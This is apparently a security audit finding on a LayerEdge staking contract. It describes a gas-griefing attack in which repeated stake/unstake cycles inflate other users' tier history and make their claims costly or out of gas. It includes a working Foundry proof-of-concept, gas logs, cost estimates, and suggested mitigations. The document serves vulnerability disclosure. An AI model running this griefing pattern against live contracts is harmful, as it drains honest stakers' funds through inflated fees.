Wide Caramel Guppy

High

# Staker actions can run OOG or become too expensive due to stuffing of tier history by attacker

## Description & Impact
All major functions like `stake()`, `unstake()`, `_claimInterest()`, `compoundInterest()` internally call `_updateInterest() --> calculateUnclaimedInterest()`. 

`calculateUnclaimedInterest()` has two unbounded loops [here](https://github.com/sherlock-audit/2025-05-layeredge/blob/main/edgen-staking/src/stake/LayerEdgeStaking.sol#L419) and [here](https://github.com/sherlock-audit/2025-05-layeredge/blob/main/edgen-staking/src/stake/LayerEdgeStaking.sol#L451):
```js

        // Find the most recent tier event before fromTime
        for (uint256 i = 0; i < userTierHistory.length; i++) {

```
and
```js

        // Then process any subsequent tier changes within our calculation window
        for (uint256 i = relevantStartIndex + 1; i < userTierHistory.length; i++) {

```

An attacker can thus call stake & unstake multiple times to cause promotion/demotion of stakers at tier boundaries and inflating their tier history array. All of this can be done in a single tx. Single or multiple attack accounts can be used.

Now when the honest staker tries to call any of these functions, they encounter either of these two situations:
1. If the `userTierHistory` has been inflated too a high enough size, they run OOG.
2. Or if the `userTierHistory` size is not enough to cause an OOG, they still end up paying a high amount of gas fee. In case the user has set a gas limit, the tx could revert. This is problematic because:
    - For every operation, they now need to pay an exorbitant amount, affecting their future participation in the protocol.
    - Even to claim their existing interest, they now need to see if it's worth paying the increased gas fee. Their interest could well be lesser than it, making the claim unprofitable. ( The increased gas cost is borne from subsequent claims when `relevantStartIndex` grows; refer PoC for exact behaviour )
    - Even unstaking becomes expensive.
All these are lost opportunities or direct fund loss.

Note that although this is a pure griefing attack i.e. the attacker bears the gas cost to mount the attack and does not directly profit, this attack cost is one-time. For the honest user however, once the `userTierHistory` has been hyper inflated, there's no way to shrink it back and hence they are affected for their life time.

## Example Attack
```text
           Before: 6 users                    After: 7 users
┌────────┬────────┬────────────┐   ┌────────┬────────┬────────────┐
│ Tier 1 │ Tier 2 │   Tier 3   │   │ Tier 1 │ Tier 2 │   Tier 3   │
│(1 user)│(1 user)│ (4 users)  │   │(1 user)│(2 user)│ (4 users)  │
└────────┴────────┴────────────┘   └────────┴────────┴────────────┘
   1       2         3  4  5  6      1        2  3      4  5  6  7
                                                 ↑
                                            User #3
                                        moves from Tier 3
                                            to Tier 2
For 6 users:
    - Tier1: 20% of 6 = 1
    - Tier2: 30% of 6 = 1
    - Tier3: Remaining = 4

For 7 users:
    - Tier1: 20% of 7 = 1
    - Tier2: 30% of 7 = 2
    - Tier3: Remaining = 4

```

- Attacker acts as the 7th user.
- Stakes & unstakes multiple times say, 1000 in a single tx.
- Every stake causes user 3 to be promoted and their `userTierHistory` size to be increased by one.
- Every unstake causes user 3 to be demoted and their `userTierHistory` size to be increased by one.

Note that the example shows only user3 being affected but it could be an additional user too who is being promoted from Tier2 to Tier1, thus affecting 2 users in a single attack.
Also, attacker may use multiple accounts (e.g. acting as user 7, 8, 9, 10, 11, 12) in their attack to cause promotion & demotion of multiple users.

## Proof of Concept
Add this file under `test/stake/` and run with `forge test --mc GasGriefingPoC -vv`:

<details>
<summary>Click to expand</summary>

```js
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console2} from "forge-std/Test.sol";
import {LayerEdgeStaking} from "@src/stake/LayerEdgeStaking.sol";
import {LayerEdgeToken} from "@test/mock/LayerEdgeToken.sol";
import {DeployLayerEdgeStaking} from "@script/DeployLayerEdgeStaking.s.sol";
import {NetworkConfig, HelperConfig} from "@script/HelperConfig.s.sol";

contract GasGriefingPoC is Test {
    LayerEdgeStaking public staking;
    LayerEdgeToken public token;
    HelperConfig public helperConfig;
    DeployLayerEdgeStaking public deployer;

    address public admin;
    address public user1 = makeAddr("user1");
    address public user2 = makeAddr("user2");
    address public user3 = makeAddr("user3");
    address public user4 = makeAddr("user4");
    address public user5 = makeAddr("user5");
    address public user6 = makeAddr("user6");

    uint256 public constant MIN_STAKE = 3000 * 1e18;
    uint256 public constant REWARDS_AMOUNT = 100_000 * 1e18;

    function setUp() public {
        deployer = new DeployLayerEdgeStaking();
        (staking, helperConfig) = deployer.run();

        NetworkConfig memory config = helperConfig.getActiveNetworkConfig();
        token = LayerEdgeToken(config.stakingToken);
        admin = config.owner;

        vm.startPrank(admin);
        token.approve(address(staking), REWARDS_AMOUNT);
        staking.depositRewards(REWARDS_AMOUNT);
        vm.stopPrank();

        address[6] memory users = [user1, user2, user3, user4, user5, user6];
        for (uint256 i = 0; i < users.length; i++) {
            vm.prank(admin);
            token.transfer(users[i], MIN_STAKE * 10);
            
            vm.prank(users[i]);
            token.approve(address(staking), type(uint256).max);
        }
    }

    function test_NormalClaimsGasCost() public {
        console2.log("=== Subsequent Claims Gas Cost Test ===");
        
        // Setup 6 users
        address[6] memory users = [user1, user2, user3, user4, user5, user6];
        for (uint256 i = 0; i < users.length; i++) {
            vm.prank(users[i]);
            staking.stake(MIN_STAKE);
        }
        
        // Let time pass to accumulate interest
        vm.warp(block.timestamp + 30 days);
        
        // === STEP 1: Initial Claim (Normal User) ===
        console2.log("--- STEP 1: Initial Claim (Normal User) ---");
        
        uint256 initialTierChanges = staking.stakerTierHistoryLength(user3);
        console2.log("Initial tier changes:", initialTierChanges);
        
        // First claim - this sets lastClaimTime
        uint256 gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 firstClaimGas = gasBefore - gasleft();
        console2.log("First claim gas:", firstClaimGas);
        
        
        // === STEP 2: Second Claim (No Attack) ===
        console2.log("--- STEP 2: Second Claim ---");
        
        vm.warp(block.timestamp + 30 days); // 30 more days of interest
        
        // This claim will need to process ALL the tier changes that happened
        // between lastClaimTime (after first claim) and now
        gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 secondClaimGas = gasBefore - gasleft();
        console2.log("Second claim gas:", secondClaimGas);
        
        // === STEP 3: Third Claim  ===
        console2.log("--- STEP 3: Third Claim ---");
        
        vm.warp(block.timestamp + 30 days); // Another 30 days
        
        gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 thirdClaimGas = gasBefore - gasleft();
        console2.log("Third claim gas:", thirdClaimGas);
        
        // === ANALYSIS ===
        console2.log("--- DETAILED ANALYSIS ---");
        console2.log("First claim (normal):", firstClaimGas, "gas");
        console2.log("Second claim (no-attack):", secondClaimGas, "gas");
        console2.log("Third claim :", thirdClaimGas, "gas");
        
        if (secondClaimGas > firstClaimGas) {
            uint256 gasIncrease = secondClaimGas - firstClaimGas;
            uint256 multiplier = secondClaimGas / firstClaimGas;
            console2.log("Gas increase on second claim:", gasIncrease);
            console2.log("Gas multiplier:", multiplier, "x");
            
            console2.log("CHECK: Subsequent claims cost significantly more");
        } else {
            console2.log("Second claim gas did not increase significantly");
        }
        
        // Check third claim gas cost
        if (thirdClaimGas > firstClaimGas) {
            console2.log("SUSTAINED COST: Third claim also shows increased gas costs");
        }
    }

    function test_MaliciousClaimsGasCost() public {
        console2.log("=== Subsequent Claims Gas Cost Test ===");
        
        // Setup 6 users
        address[6] memory users = [user1, user2, user3, user4, user5, user6];
        for (uint256 i = 0; i < users.length; i++) {
            vm.prank(users[i]);
            staking.stake(MIN_STAKE);
        }
        
        // Let time pass to accumulate interest
        vm.warp(block.timestamp + 30 days);
        
        // === STEP 1: Initial Claim (Normal User) ===
        console2.log("--- STEP 1: Initial Claim (Normal User) ---");
        
        uint256 initialTierChanges = staking.stakerTierHistoryLength(user3);
        console2.log("Initial tier changes:", initialTierChanges);
        
        // First claim - this sets lastClaimTime
        uint256 gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 firstClaimGas = gasBefore - gasleft();
        console2.log("First claim gas:", firstClaimGas);
        
        // === STEP 2: Executing Griefing Attack ===
        console2.log("--- STEP 2: Executing Griefing Attack ---");
        
        uint256 gasBeforeAttack = gasleft();
        // Create 1000 tier changes
        for (uint256 i = 0; i < 500; i++) {
            address attacker = address(uint160(uint256(keccak256(abi.encodePacked("griefAttack", i)))));
            vm.prank(admin);
            token.transfer(attacker, MIN_STAKE * 2);
            vm.prank(attacker);
            token.approve(address(staking), MIN_STAKE * 2);
            
            vm.prank(attacker);
            staking.stake(MIN_STAKE);
            vm.prank(attacker);
            staking.unstake(MIN_STAKE);
            
            if ((i + 1) % 100 == 0) {
                console2.log("Attack progress:", i + 1, "/500 cycles");
            }
        }
        uint256 gasAfterAttack = gasleft();
        
        uint256 postAttackTierChanges = staking.stakerTierHistoryLength(user3);
        console2.log("Tier changes after attack:", postAttackTierChanges);
        console2.log("New tier changes created:", postAttackTierChanges - initialTierChanges);
        console2.log("Attack gas spent:", gasBeforeAttack - gasAfterAttack);
        
        // === STEP 3: Second Claim (After Attack) ===
        console2.log("--- STEP 3: Second Claim (After Attack) ---");
        
        vm.warp(block.timestamp + 30 days); // 30 more days of interest
        
        // This claim will need to process ALL the tier changes that happened
        // between lastClaimTime (after first claim) and now
        gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 secondClaimGas = gasBefore - gasleft();
        console2.log("Second claim gas (after attack):", secondClaimGas);
        
        // === STEP 4: Third Claim (Sustained Impact) ===
        console2.log("--- STEP 4: Third Claim (Sustained Impact) ---");
        
        vm.warp(block.timestamp + 30 days); // Another 30 days
        
        gasBefore = gasleft();
        vm.prank(user3);
        staking.claimInterest();
        uint256 thirdClaimGas = gasBefore - gasleft();
        console2.log("Third claim gas:", thirdClaimGas);
        
        // === ANALYSIS ===
        console2.log("--- DETAILED ANALYSIS ---");
        console2.log("First claim (normal):", firstClaimGas, "gas");
        console2.log("Second claim (post-attack):", secondClaimGas, "gas");
        console2.log("Third claim (sustained):", thirdClaimGas, "gas");
    }
}
```

</details>

Output:
```js
[PASS] test_NormalClaimsGasCost() (gas: 2546564)
Logs:
  === Subsequent Claims Gas Cost Test ===
  --- STEP 1: Initial Claim (Normal User) ---
  Initial tier changes: 1
  First claim gas: 68291
  --- STEP 2: Second Claim ---
  Second claim gas: 37591
  --- STEP 3: Third Claim ---
  Third claim gas: 37591
  --- DETAILED ANALYSIS ---
  First claim (normal): 68291 gas
  Second claim (no-attack): 37591 gas   ✅ // reasonable
  Third claim : 37591 gas
  Second claim gas did not increase significantly

[PASS] test_MaliciousClaimsGasCost() (gas: 275667936)
Logs:
  === Subsequent Claims Gas Cost Test ===
  --- STEP 1: Initial Claim (Normal User) ---
  Initial tier changes: 1
  First claim gas: 68291
  --- STEP 2: Executing Griefing Attack ---
  Attack progress: 100 /500 cycles
  Attack progress: 200 /500 cycles
  Attack progress: 300 /500 cycles
  Attack progress: 400 /500 cycles
  Attack progress: 500 /500 cycles
  Tier changes after attack: 1001
  New tier changes created: 1000
  Attack gas spent: 319715144   ⬅️ // Attack cost
  --- STEP 3: Second Claim (After Attack) ---

// ⚠️ relevantStartIndex = 1000 here
  Second claim gas (after attack): 842326
  --- STEP 4: Third Claim (Sustained Impact) ---

// ⚠️ relevantStartIndex = 1000 here too
  Third claim gas: 842326
  --- DETAILED ANALYSIS ---
  First claim (normal): 68291 gas
  Second claim (post-attack): 842326 gas
  Third claim (sustained): 842326 gas
```

One can assume prevalent gas price say, 10 gwei and ETH price of `$2000`. So attack cost =  `$ (319715144 * 10 / 1e9 * 2000) = $6400`

And increased cost for user3 for _every claim action_ = `$ (842326 - 37591) * 10 / 1e9 * 2000 = $16` 

## Mitigation
A combination of various approaches could be taken:
1. Allow unstake() only after some cooldown. 
2. Change the accounting approach so that any tier change maintains an updated interest figure. Something similar to usage of index while calculating rewards in many DeFi protocols.
3. Batch interest calculations: Process only if tier change timestamps are unique. This will help ignore tier changes happening at the same timestamp, which do not contribute to any interest APY change.
